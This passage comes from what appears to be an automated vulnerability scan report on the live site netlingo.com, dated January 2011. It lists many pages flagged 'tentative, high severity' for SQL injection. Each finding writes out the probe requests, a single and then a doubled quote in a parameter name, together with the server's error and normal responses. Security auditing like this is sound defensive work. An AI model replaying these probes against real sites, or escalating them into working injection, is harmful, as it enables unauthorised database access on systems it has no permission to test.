HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:36 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /contact/contact-us.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:37 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34739
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.79. http://www.netlingo.com/contact/linktonetlingo.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/contact/linktonetlingo.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /contact/linktonetlingo.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /contact/linktonetlingo.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:46 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.80. http://www.netlingo.com/country.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/country.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /country.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:44 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /country.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 36558
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.81. http://www.netlingo.com/hello/welcome.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/hello/welcome.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /hello/welcome.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /hello/welcome.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:28 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42728
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.82. http://www.netlingo.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:47:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:47:59 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 46223
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.83. http://www.netlingo.com/iphone [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/iphone
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /iphone?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /iphone?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:24 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32382
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> < ...[SNIP]...
1.84. http://www.netlingo.com/iphone/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/iphone/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /iphone/?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /iphone/?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32382
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> < ...[SNIP]...
1.85. http://www.netlingo.com/iphone/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/iphone/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /iphone/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /iphone/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32391
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> < ...[SNIP]...
1.86. http://www.netlingo.com/more/adsizes.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/more/adsizes.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /more/adsizes.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:46 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /more/adsizes.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:47 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 29479
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> ...[SNIP]...
1.87. http://www.netlingo.com/press/about-netlingo.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/about-netlingo.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/about-netlingo.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:25 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/about-netlingo.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 74639
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.88. http://www.netlingo.com/press/all-press-clippings.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/all-press-clippings.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/all-press-clippings.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/all-press-clippings.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 82347
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.89. http://www.netlingo.com/press/awards.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/awards.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/awards.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:52 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/awards.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 33468
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.90. http://www.netlingo.com/press/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:01 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 33836
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.91. http://www.netlingo.com/press/media.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/media.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/media.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:56:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/media.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:56:18 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 69717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.92. http://www.netlingo.com/press/meet-erin.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/meet-erin.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/meet-erin.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:13 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/meet-erin.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:15 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38892
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.93. http://www.netlingo.com/press/print.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/print.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/print.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/print.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 101167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.94. http://www.netlingo.com/press/teen-text-talk.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/teen-text-talk.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/teen-text-talk.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:55:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/teen-text-talk.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:55:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34198
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.95. http://www.netlingo.com/press/web.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/press/web.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /press/web.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:15 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /press/web.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:16 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 80093
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.96. http://www.netlingo.com/search.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/search.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /search.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:42 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /search.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:42 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.97. http://www.netlingo.com/searchaction.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/searchaction.cfm
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /searchaction.cfm?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
